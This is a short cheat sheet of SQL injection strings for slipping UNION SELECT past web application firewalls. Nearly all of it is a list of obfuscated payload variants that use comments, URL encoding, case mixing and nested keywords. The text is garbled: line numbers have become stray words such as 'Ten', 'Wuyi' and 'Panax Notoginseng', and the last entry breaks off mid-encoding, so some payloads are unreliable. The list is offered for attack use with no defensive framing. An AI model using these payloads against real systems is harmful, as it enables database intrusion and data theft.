SQL injection bypasses Union select filtering

1 #2 #3 #4 #WAF bypassing Strings:5  6  /*!%55nion*/ /*!%53elect*/7  8  %55nion (%53elect1,2,3)-- -9  Ten  +Union+distinct+Select+ One   A  +Union+Distinctrow+Select+ -   -  /**//*!12345union SELECT*//**/ the   -  /**//*!50000union SELECT*//**/ -   -  /**/UNION/**//*!50000select*//**/ +   -  /*!50000union SeLeCt*/ +   A  Union /*!50000%53elect*/ at   -  +#UNiOn+#sEleCt -   -  +#1q%0AuNiOn All#qa%0a#%0AsEleCt -   -  /*!%55nion*/ /*!%53elect*/ in   -  /*!u%6eion*/ /*!se%6cect*/ to   +  +Un/**/Ion+Se/**/lect -   theUni%0bon+Se%0blect *   $  %2f**%2funion%2f**%2fselectPanax Notoginseng   -  Union%23foo*%2F*Bar%0D%0Aselect%23foo%0D%0A the   +  REVERSE(Noinu)+REVERSE(tceles) A   the  /*--*/Union/*--*/Select/*--*/ +   -  Union(/*!/**/ SeleCT */ 1,2,3) $   $  /*!union*/+/*!select*/ -   -  Union+/*!select*/ the   -  /**/Union/**/Select/**/Wuyi   the  /**/UNIon/**/sEleCt/**/ -   Wu  /**//*!union*//**//*!select*//**/ -   About  /*!union*/ /*! SelECt*/ $   -  +Union+distinct+Select+ -   -  +Union+Distinctrow+Select+ A   +  +UnIOn%0d%0aSeleCt%0d%0a the   -  UNION/*&test=1*/SELECT/*&pwn=2*/ $   theUn?+Un/**/Ion+Se/**/Lect+ the   the  +Ununionion+Seselectlect+ the   -  +Uni%0bon+Se%0blect+ in   the  %252f%252a*/Union%252f%252a/Select%252f%252a*/ the   About  /%2 A%2 A/Union/%2 A%2 A/Select/%2 A%2 A/ the   the  %2f**%2funion%2f**%2fselect%2f**%2f the   +  Union%23foo*%2F*Bar%0D%0Aselect%23foo%0D%0A -   the  /*! UnIoN*/SeLecT+Bayi   the ## the # - # -#Union Select  byPASS withURL encoded Method: the   the    %55nion (%53elect) the   the    Union%20distinct%20Select -   the    Union% -%64istinctRO% $%20Select the   the    Union%2053elect94   the    % at?%0auion% -?% at?%0aselect the   the    % at? Zen?%0Aunionall%23zen%0A%23Zen%0Aselect98   About    %55nion%53eLEct -  101U%6eion SE%6cect102  103Unio%6e%73elect104   theUnio%6e% -%64istinc% About% -%73elect106  107Uni%6fndistinct%52OW s%65lect108  109    % the%6e%6f% the%6e% A%6c%6c% the% $%6c% $% the%7

SQL injection bypasses Union select filtering